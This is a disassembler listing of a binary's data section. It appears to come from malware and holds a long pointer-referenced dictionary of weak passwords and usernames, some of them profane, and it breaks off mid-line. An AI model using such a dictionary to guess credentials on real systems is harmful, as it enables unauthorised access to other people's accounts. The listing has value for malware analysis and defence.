aWh0r3 db 'wh0r3',0 align 10h aWindoze95 db 'windoze95',0 align 4 aWindoze98 db 'windoze98',0 align 4 aWindozeme db 'windozeME',0 ; DATA XREF: .nsp0:loc_42DD9Do align 4 aWindoze2k db 'windoze2k',0 align 10h aWindozexp db 'windozexp',0 ; DATA XREF: .nsp0:0042DD95o align 4 aWindows95 db 'windows95',0 align 4 aWindows98 db 'windows98',0 ; DATA XREF: .nsp0:0042DD8Do align 4 aWindowsme db 'windowsME',0 align 10h aWindows2k db 'windows2k',0 align 4 aWindowsxp db 'WindowsXP',0 ; DATA XREF: .nsp0:0042DD84o align 4 aMs db 'MS',0 ; DATA XREF: .nsp0:0042DD80o align 4 aM_0 db 'M$',0 ; DATA XREF: .nsp0:0042DD7Co align 10h aBilly db 'billy',0 ; DATA XREF: .nsp0:0042DD78o align 4 aWindose db 'windose',0 ; DATA XREF: .nsp0:0042DD74o aWindoze db 'windoze',0 ; DATA XREF: .nsp0:0042DD70o aWindowz db 'windowz',0 ; DATA XREF: .nsp0:0042DD6Co aWileecoyote db 'wileecoyote',0 ; DATA XREF: .nsp0:0042DD68o aDonaldduck db 'donaldduck',0 ; DATA XREF: .nsp0:0042DD64o align 4 aAlexander db 'Alexander',0 ; DATA XREF: .nsp0:0042DD60o align 4 aAl3x db 'Al3x',0 ; DATA XREF: .nsp0:0042DD5Co align 4 aDud3 db 'dud3',0 ; DATA XREF: .nsp0:0042DD58o align 4 aDudette db 'dudette',0 ; DATA XREF: .nsp0:0042DD54o aD00d db 'd00d',0 ; DATA XREF: .nsp0:0042DD50o align 4 aLol db 'lol',0 ; DATA XREF: .nsp0:0042DD4Co aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: .nsp0:0042DD48o align 4 aRoscop db 'RoscoP',0 ; DATA XREF: .nsp0:0042DD44o align 10h aRosco db 'Rosco',0 ; DATA XREF: .nsp0:0042DD40o align 4 aRoss db 'Ross',0 ; DATA XREF: .nsp0:0042DD3Co align 10h aTestin db 'testin',0 ; DATA XREF: .nsp0:0042DD38o align 4 aTester db 'tester',0 ; DATA XREF: .nsp0:0042DD34o align 10h a00000000 db '00000000',0 ; DATA XREF: .nsp0:0042DD30o ; .nsp0:0042DFECo align 4 aZulu db 'zulu',0 ; DATA XREF: .nsp0:0042DD2Co align 4 aZombie db 'zombie',0 ; DATA XREF: .nsp0:0042DD28o align 4 aZmodem db 'zmodem',0 ; DATA XREF: .nsp0:0042DD24o align 4 aZimmerma db 'zimmerma',0 ; DATA XREF: .nsp0:0042DD20o align 10h aZiggy db 'ziggy',0 ; DATA XREF: .nsp0:0042DD1Co align 4 aZeitgeis db 'zeitgeis',0 ; DATA XREF: .nsp0:0042DD18o align 4 aZebra db 'zebra',0 ; DATA XREF: .nsp0:0042DD14o align 4 aYoung db 'young',0 ; DATA XREF: .nsp0:0042DD10o align 4 aYosemite db 'yosemite',0 ; DATA XREF: .nsp0:0042DD0Co align 10h aYolanda db 'yolanda',0 ; DATA XREF: .nsp0:0042DD08o aYellowst db 'yellowst',0 ; DATA XREF: .nsp0:0042DD04o align 4 aYellow db 'yellow',0 ; DATA XREF: .nsp0:0042DD00o align 4 aYankee db 'yankee',0 ; DATA XREF: .nsp0:0042DCFCo align 4 aYang db 'yang',0 ; DATA XREF: .nsp0:0042DCF8o ; .nsp0:0042E434o align 4 aYaco db 'yaco',0 ; DATA XREF: .nsp0:0042DCF4o ; .nsp0:0042E430o align 4 aXyzzy db 'xyzzy',0 ; DATA XREF: .nsp0:0042DCF0o align 4 aXray db 'xray',0 ; DATA XREF: .nsp0:0042DCECo align 4 aXmodem db 'xmodem',0 ; DATA XREF: .nsp0:0042DCE8o align 4 aXmen db 'xmen',0 ; DATA XREF: .nsp0:0042DCE4o align 4 aXman db 'xman',0 ; DATA XREF: .nsp0:0042DCE0o align 4 aXfer db 'xfer',0 ; DATA XREF: .nsp0:0042DCDCo align 4 aXena db 'xena',0 ; DATA XREF: .nsp0:0042DCD8o align 4 aWyoming db 'wyoming',0 ; DATA XREF: .nsp0:0042DCD4o aWwii db 'wwii',0 ; DATA XREF: .nsp0:0042DCD0o align 4 aWormwood db 'wormwood',0 ; DATA XREF: .nsp0:0042DCCCo align 4 aWorm db 'worm',0 ; DATA XREF: .nsp0:0042DCC8o align 10h aWork db 'work',0 ; DATA XREF: .nsp0:0042DCC4o align 4 aWorf db 'worf',0 ; DATA XREF: .nsp0:0042DCC0o align 10h aWordperf db 'wordperf',0 ; DATA XREF: .nsp0:0042DCBCo align 4 aWord db 'word',0 ; DATA XREF: .nsp0:0042DCB8o align 4 aWoodwind db 'woodwind',0 ; DATA XREF: .nsp0:0042DCB4o align 10h aWood db 'wood',0 ; DATA XREF: .nsp0:0042DCB0o align 4 aWomen db 'women',0 ; DATA XREF: .nsp0:0042DCACo align 10h aWombat db 'wombat',0 ; DATA XREF: .nsp0:0042DCA8o align 4 aWoman db 'woman',0 ; DATA XREF: .nsp0:0042DCA4o align 10h aWolverin db 'wolverin',0 ; DATA XREF: .nsp0:0042DCA0o align 4 aWolf db 'wolf',0 ; DATA XREF: .nsp0:0042DC9Co align 4 aWizard db 'wizard',0 ; DATA XREF: .nsp0:0042DC98o align 4 aWithin db 'within',0 ; DATA XREF: .nsp0:0042DC94o align 4 aWiseass db 'wiseass',0 ; DATA XREF: .nsp0:0042DC90o aWisconsi db 'wisconsi',0 ; DATA XREF: .nsp0:0042DC8Co align 4 aWired db 'wired',0 ; DATA XREF: .nsp0:0042DC88o align 10h aWinston db 'winston',0 ; DATA XREF: .nsp0:0042DC84o aWing db 'wing',0 ; DATA XREF: .nsp0:0042DC80o align 10h aWine db 'wine',0 ; DATA XREF: .nsp0:0042DC7Co align 4 aWindows db 'windows',0 ; DATA XREF: .nsp0:0042DC78o aWilma db 'wilma',0 ; DATA XREF: .nsp0:0042DC74o align 4 aWillie db 'willie',0 ; DATA XREF: .nsp0:0042DC70o align 10h aWilliams db 'williams',0 ; DATA XREF: .nsp0:0042DC6Co align 4 aWilliam db 'william',0 ; DATA XREF: .nsp0:0042DC68o aWill db 'will',0 ; DATA XREF: .nsp0:0042DC64o align 4 aWhore db 'whore',0 ; DATA XREF: .nsp0:0042DC60o align 4 aWholesal db 'wholesal',0 ; DATA XREF: .nsp0:0042DC5Co align 10h aWhitney db 'whitney',0 ; DATA XREF: .nsp0:0042DC58o aWhiting db 'whiting',0 ; DATA XREF: .nsp0:0042DC54o aWhite db 'white',0 ; DATA XREF: .nsp0:0042DC50o align 4 aWhisky db 'whisky',0 ; DATA XREF: .nsp0:0042DC4Co align 10h aWhatnot db 'whatnot',0 ; DATA XREF: .nsp0:0042DC48o aWhatever db 'whatever',0 ; DATA XREF: .nsp0:0042DC44o align 4 aWestern db 'western',0 ; DATA XREF: .nsp0:0042DC40o aWest db 'west',0 ; DATA XREF: .nsp0:0042DC3Co align 4 aWerewolf db 'werewolf',0 ; DATA XREF: .nsp0:0042DC38o align 10h aWendy db 'wendy',0 ; DATA XREF: .nsp0:0042DC34o align 4 aWendi db 'wendi',0 ; DATA XREF: .nsp0:0042DC30o align 10h aWell db 'well',0 ; DATA XREF: .nsp0:0042DC2Co align 4 aWeenie db 'weenie',0 ; DATA XREF: .nsp0:0042DC28o align 10h aWeed db 'weed',0 ; DATA XREF: .nsp0:0042DC24o align 4 aWednesda db 'wednesda',0 ; DATA XREF: .nsp0:0042DC20o align 4 aWebpage db 'webpage',0 ; DATA XREF: .nsp0:0042DC1Co aWave db 'wave',0 ; DATA XREF: .nsp0:0042DC18o align 4 aWater db 'water',0 ; DATA XREF: .nsp0:0042DC14o align 4 aWatchwor db 'watchwor',0 ; DATA XREF: .nsp0:0042DC10o align 4 aWasp db 'wasp',0 ; DATA XREF: .nsp0:0042DC0Co align 10h aWarren db 'warren',0 ; DATA XREF: .nsp0:0042DC08o align 4 aWarp db 'warp',0 ; DATA XREF: .nsp0:0042DC04o align 10h aWargames db 'wargames',0 ; DATA XREF: .nsp0:0042DC00o align 4 aWarfare db 'warfare',0 ; DATA XREF: .nsp0:0042DBFCo aWarez db 'warez',0 ; DATA XREF: .nsp0:0042DBF8o align 4 aWard db 'ward',0 ; DATA XREF: .nsp0:0042DBF4o align 4 aWaco db 'waco',0 ; DATA XREF: .nsp0:0042DBF0o align 4 aVodka db 'vodka',0 ; DATA XREF: .nsp0:0042DBECo align 4 aVisualba db 'visualba',0 ; DATA XREF: .nsp0:0042DBE8o align 10h aVisual db 'visual',0 ; DATA XREF: .nsp0:0042DBE4o align 4 aVisitor db 'visitor',0 ; DATA XREF: .nsp0:0042DBE0o aVirus db 'virus',0 ; DATA XREF: .nsp0:0042DBDCo align 4 aVirginia db 'virginia',0 ; DATA XREF: .nsp0:0042DBD8o align 4 aVirgin db 'virgin',0 ; DATA XREF: .nsp0:0042DBD4o align 4 aVillage db 'village',0 ; DATA XREF: .nsp0:0042DBD0o aVideogam db 'videogam',0 ; DATA XREF: .nsp0:0042DBCCo align 10h aVideo db 'video',0 ; DATA XREF: .nsp0:0042DBC8o align 4 aVictor db 'victor',0 ; DATA XREF: .nsp0:0042DBC4o align 10h aVicky db 'vicky',0 ; DATA XREF: .nsp0:0042DBC0o align 4 aVertigo db 'vertigo',0 ; DATA XREF: .nsp0:0042DBBCo aVeronica db 'veronica',0 ; DATA XREF: .nsp0:0042DBB8o align 4 aVenus db 'venus',0 ; DATA XREF: .nsp0:0042DBB4o align 4 aVasant db 'vasant',0 ; DATA XREF: .nsp0:0042DBB0o align 4 aVampire db 'vampire',0 ; DATA XREF: .nsp0:0042DBACo aValerie db 'valerie',0 ; DATA XREF: .nsp0:0042DBA8o aVagina db 'vagina',0 ; DATA XREF: .nsp0:0042DBA4o align 4 aUucp db 'uucp',0 ; DATA XREF: .nsp0:0042DBA0o align 4 aUtility db 'utility',0 ; DATA XREF: .nsp0:0042DB9Co aUtil db 'util',0 ; DATA XREF: .nsp0:0042DB98o align 4 aUsmc db 'usmc',0 ; DATA XREF: .nsp0:0042DB94o align 4 aUsername db 'username',0 ; DATA XREF: .nsp0:0042DB90o align 10h aUsermane db 'usermane',0 ; DATA XREF: .nsp0:0042DB8Co align 4 aUsenet db 'usenet',0 ; DATA XREF: .nsp0:0042DB88o align 4 aUrsula db 'ursula',0 ; DATA XREF: .nsp0:0042DB84o align 4 aUrchin db 'urchin',0 ; DATA XREF: .nsp0:0042DB80o align 4 aUranus db 'uranus',0 ; DATA XREF: .nsp0:0042DB7Co align 4 aUpload db 'upload',0 ; DATA XREF: .nsp0:0042DB78o align 4 aUnlock db 'unlock',0 ; DATA XREF: .nsp0:0042DB74o align 4 aUnknown_0 db 'unknown',0 ; DATA XREF: .nsp0:0042DB70o aUniversi db 'universi',0 ; DATA XREF: .nsp0:0042DB6Co align 10h aUniverse db 'universe',0 ; DATA XREF: .nsp0:0042DB68o align 4 aUniversa db 'universa',0 ; DATA XREF: .nsp0:0042DB64o align 4 aUniform db 'uniform',0 ; DATA XREF: .nsp0:0042DB60o aUnicorn db 'unicorn',0 ; DATA XREF: .nsp0:0042DB5Co aUnhappy db 'unhappy',0 ; DATA XREF: .nsp0:0042DB58o aUndo db 'undo',0 ; DATA XREF: .nsp0:0042DB54o align 4 aUncle db 'uncle',0 ; DATA XREF: .nsp0:0042DB50o align 10h aUmesh db 'umesh',0 ; DATA XREF: .nsp0:0042DB4Co align 4 aUgly db 'ugly',0 ; DATA XREF: .nsp0:0042DB48o align 10h aTuttle db 'tuttle',0 ; DATA XREF: .nsp0:0042DB44o align 4 aTurn db 'turn',0 ; DATA XREF: .nsp0:0042DB40o align 10h aTuesday db 'tuesday',0 ; DATA XREF: .nsp0:0042DB3Co aTubas db 'tubas',0 ; DATA XREF: .nsp0:0042DB38o align 10h aTruth db 'truth',0 ; DATA XREF: .nsp0:0042DB34o align 4 aTrue db 'true',0 ; DATA XREF: .nsp0:0042DB30o align 10h aTron db 'tron',0 ; DATA XREF: .nsp0:0042DB2Co align 4 aTrombone db 'trombone',0 ; DATA XREF: .nsp0:0042DB28o align 4 aTrojan db 'trojan',0 ; DATA XREF: .nsp0:0042DB24o align 4 aTrivial db 'trivial',0 ; DATA XREF: .nsp0:0042DB20o aTrisha db 'trisha',0 ; DATA XREF: .nsp0:0042DB1Co align 4 aTrek db 'trek',0 ; DATA XREF: .nsp0:0042DB18o align 4 aTree db 'tree',0 ; DATA XREF: .nsp0:0042DB14o align 4 aTrapdoor db 'trapdoor',0 ; DATA XREF: .nsp0:0042DB10o align 4 aTrap db 'trap',0 ; DATA XREF: .nsp0:0042DB0Co align 10h aTransfer db 'transfer',0 ; DATA XREF: .nsp0:0042DB08o align 4 aTrails db 'trails',0 ; DATA XREF: .nsp0:0042DB04o align 4 aTracy db 'tracy',0 ; DATA XREF: .nsp0:0042DB00o align 4 aTracie db 'tracie',0 ; DATA XREF: .nsp0:0042DAFCo align 4 aTraci db 'traci',0 ; DATA XREF: .nsp0:0042DAF8o align 4 aToyota db 'toyota',0 ; DATA XREF: .nsp0:0042DAF4o ; .nsp0:0042E404o align 4 aToxic db 'toxic',0 ; DATA XREF: .nsp0:0042DAF0o align 4 aTortoise db 'tortoise',0 ; DATA XREF: .nsp0:0042DAECo align 4 aTopograp db 'topograp',0 ; DATA XREF: .nsp0:0042DAE8o align 4 aTomato db 'tomato',0 ; DATA XREF: .nsp0:0042DAE4o align 4 aTokenrin db 'tokenrin',0 ; DATA XREF: .nsp0:0042DAE0o align 4 aToken db 'token',0 ; DATA XREF: .nsp0:0042DADCo align 10h aToggle db 'toggle',0 ; DATA XREF: .nsp0:0042DAD8o align 4 aToad db 'toad',0 ; DATA XREF: .nsp0:0042DAD4o align 10h aTits db 'tits',0 ; DATA XREF: .nsp0:0042DAD0o align 4 aTina db 'tina',0 ; DATA XREF: .nsp0:0042DACCo align 10h aTime db 'time',0 ; DATA XREF: .nsp0:0042DAC8o align 4 aTiger db 'tiger',0 ; DATA XREF: .nsp0:0042DAC4o ; .nsp0:0042E3F8o align 10h aTiffany db 'tiffany',0 ; DATA XREF: .nsp0:0042DAC0o aThursday db 'thursday',0 ; DATA XREF: .nsp0:0042DABCo align 4 aThin db 'thin',0 ; DATA XREF: .nsp0:0042DAB8o align 4 aTheresa db 'theresa',0 ; DATA XREF: .nsp0:0042DAB4o aThailand db 'thailand',0 ; DATA XREF: .nsp0:0042DAB0o align 10h aText db 'text',0 ; DATA XREF: .nsp0:0042DAACo align 4 aTetris db 'tetris',0 ; DATA XREF: .nsp0:0042DAA8o align 10h aTess db 'tess',0 ; DATA XREF: .nsp0:0042DAA4o align 4 aTerminat db 'terminat',0 ; DATA XREF: .nsp0:0042DAA0o align 4 aTerminal db 'terminal',0 ; DATA XREF: .nsp0:0042DA9Co align 10h aTera db 'tera',0 ; DATA XREF: .nsp0:0042DA98o align 4 aTennis db 'tennis',0 ; DATA XREF: .nsp0:0042DA94o align 10h aTemptati db 'temptati',0 ; DATA XREF: .nsp0:0042DA90o align 4 aTelnet db 'telnet',0 ; DATA XREF: .nsp0:0042DA8Co align 4 aTelephon db 'telephon',0 ; DATA XREF: .nsp0:0042DA88o align 10h aTeenage db 'teenage',0 ; DATA XREF: .nsp0:0042DA84o aTeen db 'teen',0 ; DATA XREF: .nsp0:0042DA80o align 10h aTech db 'tech',0 ; DATA XREF: .nsp0:0042DA7Co align 4 aTears db 'tears',0 ; DATA XREF: .nsp0:0042DA78o align 10h aTeapot db 'teapot',0 ; DATA XREF: .nsp0:0042DA74o align 4 aTeam db 'team',0 ; DATA XREF: .nsp0:0042DA70o align 10h aTaylor db 'taylor',0 ; DATA XREF: .nsp0:0042DA68o align 4 aTarragon db 'tarragon',0 ; DATA XREF: .nsp0:0042DA64o align 4 aTarget db 'target',0 ; DATA XREF: .nsp0:0042DA60o align 4 aTara db 'tara',0 ; DATA XREF: .nsp0:0042DA5Co align 4 aTape db 'tape',0 ; DATA XREF: .nsp0:0042DA58o align 4 aTango db 'tango',0 ; DATA XREF: .nsp0:0042DA54o align 4 aTangerin db 'tangerin',0 ; DATA XREF: .nsp0:0042DA50o align 10h aTammy db 'tammy',0 ; DATA XREF: .nsp0:0042DA4Co align 4 aTamie db 'tamie',0 ; DATA XREF: .nsp0:0042DA48o align 10h aTami db 'tami',0 ; DATA XREF: .nsp0:0042DA44o align 4 aTamara db 'tamara',0 ; DATA XREF: .nsp0:0042DA40o align 10h aTall db 'tall',0 ; DATA XREF: .nsp0:0042DA3Co align 4 aTalk db 'talk',0 ; DATA XREF: .nsp0:0042DA38o align 10h aTabasco db 'tabasco',0 ; DATA XREF: .nsp0:0042DA34o aSysop db 'sysop',0 ; DATA XREF: .nsp0:0042DA30o align 10h aSysadmin db 'sysadmin',0 ; DATA XREF: .nsp0:0042DA2Co align 4 aSymmetry db 'symmetry',0 ; DATA XREF: .nsp0:0042DA28o align 4 aSybil db 'sybil',0 ; DATA XREF: .nsp0:0042DA24o align 10h aSword db 'sword',0 ; DATA XREF: .nsp0:0042DA20o align 4 aSwitch db 'switch',0 ; DATA XREF: .nsp0:0042DA1Co align 10h aSweat db 'sweat',0 ; DATA XREF: .nsp0:0042DA18o align 4 aSwearer db 'swearer',0 ; DATA XREF: .nsp0:0042DA14o aSuzie db 'suzie',0 ; DATA XREF: .nsp0:0042DA10o align 4 aSuzanne db 'suzanne',0 ; DATA XREF: .nsp0:0042DA0Co aSusie db 'susie',0 ; DATA XREF: .nsp0:0042DA08o align 4 aSusanne db 'susanne',0 ; DATA XREF: .nsp0:0042DA04o aSusan db 'susan',0 ; DATA XREF: .nsp0:0042DA00o align 4 aSurfing db 'surfing',0 ; DATA XREF: .nsp0:0042D9FCo aSurfer db 'surfer',0 ; DATA XREF: .nsp0:0042D9F8o align 4 aSupporte db 'supporte',0 ; DATA XREF: .nsp0:0042D9F4o align 4 aSupport db 'support',0 ; DATA XREF: .nsp0:0042D9F0o aSupervis db 'supervis',0 ; DATA XREF: .nsp0:0042D9ECo align 4 aSuperuse db 'superuse',0 ; DATA XREF: .nsp0:0042D9E8o align 4 aSupersta db 'supersta',0 ; DATA XREF: .nsp0:0042D9E4o align 10h aSuperson db 'superson',0 ; DATA XREF: .nsp0:0042D9E0o align 4 aSuperman db 'superman',0 ; DATA XREF: .nsp0:0042D9DCo align 4 aSunday db 'sunday',0 ; DATA XREF: .nsp0:0042D9D8o align 10h aSummer db 'summer',0 ; DATA XREF: .nsp0:0042D9D4o align 4 aSucks db 'sucks',0 ; DATA XREF: .nsp0:0042D9D0o align 10h aSuckmydi db 'suckmydi',0 ; DATA XREF: .nsp0:0042D9CCo align 4 aSuck db 'suck',0 ; DATA XREF: .nsp0:0042D9C8o align 4 aSuccess db 'success',0 ; DATA XREF: .nsp0:0042D9C4o aSubway db 'subway',0 ; DATA XREF: .nsp0:0042D9C0o align 4 aSubscrib db 'subscrib',0 ; DATA XREF: .nsp0:0042D9BCo align 10h aStuttgar db 'stuttgar',0 ; DATA XREF: .nsp0:0042D9B8o align 4 aStrip db 'strip',0 ; DATA XREF: .nsp0:0042D9B0o align 4 aString db 'string',0 ; DATA XREF: .nsp0:0042D9ACo align 4 aStreetfi db 'streetfi',0 ; DATA XREF: .nsp0:off_42549Co ; .nsp0:0042D9A8o align 4 aStratfor db 'stratfor',0 ; DATA XREF: .nsp0:0042D9A4o align 4 aStrangle db 'strangle',0 ; DATA XREF: .nsp0:0042D9A0o align 10h aStrange db 'strange',0 ; DATA XREF: .nsp0:0042D99Co aStones db 'stones',0 ; DATA XREF: .nsp0:0042D998o align 10h aStoned db 'stoned',0 ; DATA XREF: .nsp0:0042D994o align 4 aStoneage db 'stoneage',0 ; DATA XREF: .nsp0:0042D990o align 4 aSteve db 'steve',0 ; DATA XREF: .nsp0:0042D98Co align 4 aStereo db 'stereo',0 ; DATA XREF: .nsp0:0042D988o align 4 aStephani db 'stephani',0 ; DATA XREF: .nsp0:0042D984o align 10h aSteph db 'steph',0 ; DATA XREF: .nsp0:0042D980o align 4 aSteel db 'steel',0 ; DATA XREF: .nsp0:0042D97Co align 10h aSteal db 'steal',0 ; DATA XREF: .nsp0:0042D978o align 4 aSteak db 'steak',0 ; DATA XREF: .nsp0:0042D974o align 10h aStarwars db 'starwars',0 ; DATA XREF: .nsp0:0042D970o align 4 aStartup db 'startup',0 ; DATA XREF: .nsp0:0042D96Co aStartrek db 'startrek',0 ; DATA XREF: .nsp0:0042D968o align 10h aStart db 'start',0 ; DATA XREF: sub_40CE55+1EF2o ; .nsp0:0042D964o align 4 aStarship db 'starship',0 ; DATA XREF: .nsp0:0042D960o align 4 aStar db 'star',0 ; DATA XREF: .nsp0:0042D95Co align 4 aStacy db 'stacy',0 ; DATA XREF: .nsp0:0042D958o align 4 aStacie db 'stacie',0 ; DATA XREF: .nsp0:0042D954o align 4 aStaci db 'staci',0 ; DATA XREF: .nsp0:0042D950o align 4 aStacey db 'stacey',0 ; DATA XREF: .nsp0:0042D94Co align 4 aSr71 db 'sr71',0 ; DATA XREF: .nsp0:0042D948o align 4 aSquires db 'squires',0 ; DATA XREF: .nsp0:0042D944o aSpunk db 'spunk',0 ; DATA XREF: .nsp0:0042D940o align 4 aSpringer db 'springer',0 ; DATA XREF: .nsp0:0042D93Co align 10h aSpring db 'spring',0 ; DATA XREF: .nsp0:0042D938o align 4 aSpred db 'spred',0 ; DATA XREF: .nsp0:0042D934o align 10h aSpit db 'spit',0 ; DATA XREF: .nsp0:0042D930o align 4 aSpiderma db 'spiderma',0 ; DATA XREF: .nsp0:0042D92Co align 4 aSpider db 'spider',0 ; DATA XREF: .nsp0:0042D928o align 4 aSpice db 'spice',0 ; DATA XREF: .nsp0:0042D924o align 4 aSpell db 'spell',0 ; DATA XREF: .nsp0:0042D920o align 4 aSpear db 'spear',0 ; DATA XREF: .nsp0:0042D91Co align 4 aSparrows db 'sparrows',0 ; DATA XREF: .nsp0:0042D918o align 10h aSpaceshi db 'spaceshi',0 ; DATA XREF: .nsp0:0042D914o align 4 aSouth db 'south',0 ; DATA XREF: .nsp0:0042D910o align 4 aSource db 'source',0 ; DATA XREF: .nsp0:0042D90Co align 4 aSossina db 'sossina',0 ; DATA XREF: .nsp0:0042D908o aSonya db 'sonya',0 ; DATA XREF: .nsp0:0042D904o align 4 aSonic db 'sonic',0 ; DATA XREF: .nsp0:0042D900o align 4 aSonia db 'sonia',0 ; DATA XREF: .nsp0:0042D8FCo align 4 aSondra db 'sondra',0 ; DATA XREF: .nsp0:0042D8F8o align 4 aSomebody db 'somebody',0 ; DATA XREF: .nsp0:0042D8F4o align 10h aSoftware db 'software',0 ; DATA XREF: .nsp0:0042D8F0o align 4 aSoft db 'soft',0 ; DATA XREF: .nsp0:0042D8ECo align 4 aSodomy db 'sodomy',0 ; DATA XREF: .nsp0:0042D8E8o align 4 aSocrates db 'socrates',0 ; DATA XREF: .nsp0:0042D8E4o align 4 aSocial db 'social',0 ; DATA XREF: .nsp0:0042D8E0o align 10h aSoap db 'soap',0 ; DATA XREF: .nsp0:0042D8DCo align 4 aSnoopy db 'snoopy',0 ; DATA XREF: .nsp0:0042D8D8o align 10h aSnatch db 'snatch',0 ; DATA XREF: .nsp0:0042D8D4o align 4 aSnake db 'snake',0 ; DATA XREF: .nsp0:0042D8D0o align 10h aSnafu db 'snafu',0 ; DATA XREF: .nsp0:0042D8CCo align 4 aSnach db 'snach',0 ; DATA XREF: .nsp0:0042D8C8o align 10h aSmut db 'smut',0 ; DATA XREF: .nsp0:0042D8C4o align 4 aSmtp db 'smtp',0 ; DATA XREF: .nsp0:0042D8C0o align 10h aSmother db 'smother',0 ; DATA XREF: .nsp0:0042D8BCo aSmooch db 'smooch',0 ; DATA XREF: .nsp0:0042D8B8o align 10h aSmiles db 'smiles',0 ; DATA XREF: .nsp0:0042D8B4o align 4 aSmile db 'smile',0 ; DATA XREF: .nsp0:0042D8B0o align 10h aSmart db 'smart',0 ; DATA XREF: .nsp0:0042D8ACo align 4 aSmall db 'small',0 ; DATA XREF: .nsp0:0042D8A8o align 10h aSlut db 'slut',0 ; DATA XREF: .nsp0:0042D8A4o align 4 aSlow db 'slow',0 ; DATA XREF: .nsp0:0042D8A0o align 10h aSliders db 'sliders',0 ; DATA XREF: .nsp0:0042D89Co aSlick db 'slick',0 ; DATA XREF: .nsp0:0042D898o align 10h aSlave db 'slave',0 ; DATA XREF: .nsp0:0042D894o align 4 aSkull db 'skull',0 ; DATA XREF: .nsp0:0042D890o align 10h aSite db 'site',0 ; DATA XREF: .nsp0:0042D88Co align 4 aSingle db 'single',0 ; DATA XREF: .nsp0:0042D888o align 10h aSinger db 'singer',0 ; DATA XREF: .nsp0:0042D884o align 4 aSimulati db 'simulati',0 ; DATA XREF: .nsp0:0042D880o align 4 aSimpsons db 'simpsons',0 ; DATA XREF: .nsp0:0042D87Co align 10h aSimple db 'simple',0 ; DATA XREF: .nsp0:0042D878o align 4 aSimon db 'simon',0 ; DATA XREF: .nsp0:0042D874o align 10h aSimcity db 'simcity',0 ; DATA XREF: .nsp0:0042D870o aSilver db 'silver',0 ; DATA XREF: .nsp0:0042D86Co align 10h aSignatur db 'signatur',0 ; DATA XREF: .nsp0:0042D868o align 4 aSierra db 'sierra',0 ; DATA XREF: .nsp0:0042D864o align 4 aSick db 'sick',0 ; DATA XREF: .nsp0:0042D860o align 4 aShuttle db 'shuttle',0 ; DATA XREF: .nsp0:0042D85Co aShort db 'short',0 ; DATA XREF: .nsp0:0042D858o align 4 aShivers db 'shivers',0 ; DATA XREF: .nsp0:0042D854o aShiva db 'shiva',0 ; DATA XREF: .nsp0:0042D850o align 4 aShitpot db 'shitpot',0 ; DATA XREF: .nsp0:0042D84Co aShit db 'shit',0 ; DATA XREF: .nsp0:0042D848o align 4 aShirley db 'shirley',0 ; DATA XREF: .nsp0:0042D844o aShift db 'shift',0 ; DATA XREF: .nsp0:0042D840o align 4 aSherri db 'sherri',0 ; DATA XREF: .nsp0:0042D83Co align 4 aShell db 'shell',0 ; DATA XREF: .nsp0:0042D838o align 4 aSheldon db 'sheldon',0 ; DATA XREF: .nsp0:0042D834o aSheffiel db 'sheffiel',0 ; DATA XREF: .nsp0:0042D830o align 10h aSharon db 'sharon',0 ; DATA XREF: .nsp0:0042D82Co align 4 aSharks db 'sharks',0 ; DATA XREF: .nsp0:0042D828o align 10h aShark db 'shark',0 ; DATA XREF: .nsp0:0042D824o align 4 aSharc db 'sharc',0 ; DATA XREF: .nsp0:0042D820o align 10h aShannon db 'shannon',0 ; DATA XREF: .nsp0:0042D81Co aSexy db 'sexy',0 ; DATA XREF: .nsp0:0042D818o align 10h aSesame db 'sesame',0 ; DATA XREF: .nsp0:0042D814o align 4 aService db 'service',0 ; DATA XREF: .nsp0:0042D810o ; .nsp0:0042E3D8o aSerial_0 db 'serial',0 ; DATA XREF: .nsp0:0042D80Co align 4 aSerenity db 'serenity',0 ; DATA XREF: .nsp0:0042D808o align 4 aSentry db 'sentry',0 ; DATA XREF: .nsp0:0042D804o align 4 aSentinel db 'sentinel',0 ; DATA XREF: .nsp0:0042D800o align 4 aSensor db 'sensor',0 ; DATA XREF: .nsp0:0042D7FCo align 10h aSega db 'sega',0 ; DATA XREF: .nsp0:0042D7F8o align 4 aSeed db 'seed',0 ; DATA XREF: .nsp0:0042D7F4o align 10h aSecurity db 'security',0 ; DATA XREF: .nsp0:0042D7F0o align 4 aSearch db 'search',0 ; DATA XREF: .nsp0:0042D7ECo align 4 aScout db 'scout',0 ; DATA XREF: .nsp0:0042D7E8o align 4 aScotty db 'scotty',0 ; DATA XREF: .nsp0:0042D7E4o align 4 aScott db 'scott',0 ; DATA XREF: .nsp0:0042D7E0o align 4 aScorpion db 'scorpion',0 ; DATA XREF: .nsp0:0042D7DCo align 4 aScifi db 'scifi',0 ; DATA XREF: .nsp0:0042D7D8o align 10h aSchoolsucks db 'schoolsucks',0 ; DATA XREF: .nsp0:0042D7D4o aSchool db 'school',0 ; DATA XREF: .nsp0:0042D7D0o align 4 aScheme db 'scheme',0 ; DATA XREF: .nsp0:0042D7CCo align 4 aScamper db 'scamper',0 ; DATA XREF: .nsp0:0042D7C8o aSaxon db 'saxon',0 ; DATA XREF: .nsp0:0042D7C4o align 4 aSaturn db 'saturn',0 ; DATA XREF: .nsp0:0042D7C0o align 4 aSaturday db 'saturday',0 ; DATA XREF: .nsp0:0042D7BCo align 10h aSarah db 'sarah',0 ; DATA XREF: .nsp0:0042D7B8o align 4 aSara db 'sara',0 ; DATA XREF: .nsp0:0042D7B4o align 10h aSandy db 'sandy',0 ; DATA XREF: .nsp0:0042D7B0o align 4 aSandra db 'sandra',0 ; DATA XREF: .nsp0:0042D7ACo align 10h aSample db 'sample',0 ; DATA XREF: .nsp0:0042D7A8o align 4 aSamantha db 'samantha',0 ; DATA XREF: .nsp0:0042D7A4o align 4 aSalt db 'salt',0 ; DATA XREF: .nsp0:0042D7A0o align 4 aSale db 'sale',0 ; DATA XREF: .nsp0:0042D79Co align 4 aSalami db 'salami',0 ; DATA XREF: .nsp0:0042D798o align 4 aSafe db 'safe',0 ; DATA XREF: .nsp0:0042D794o align 4 aRuth db 'ruth',0 ; DATA XREF: .nsp0:0042D790o align 4 aRush db 'rush',0 ; DATA XREF: .nsp0:0042D78Co align 4 aRunning db 'running',0 ; DATA XREF: .nsp0:0042D788o aRules db 'rules',0 ; DATA XREF: .nsp0:0042D784o align 4 aRude db 'rude',0 ; DATA XREF: .nsp0:0042D780o align 4 aRuby db 'ruby',0 ; DATA XREF: .nsp0:0042D77Co align 4 aRuben db 'ruben',0 ; DATA XREF: .nsp0:0042D778o align 4 aRubber db 'rubber',0 ; DATA XREF: .nsp0:0042D774o align 4 aRough db 'rough',0 ; DATA XREF: 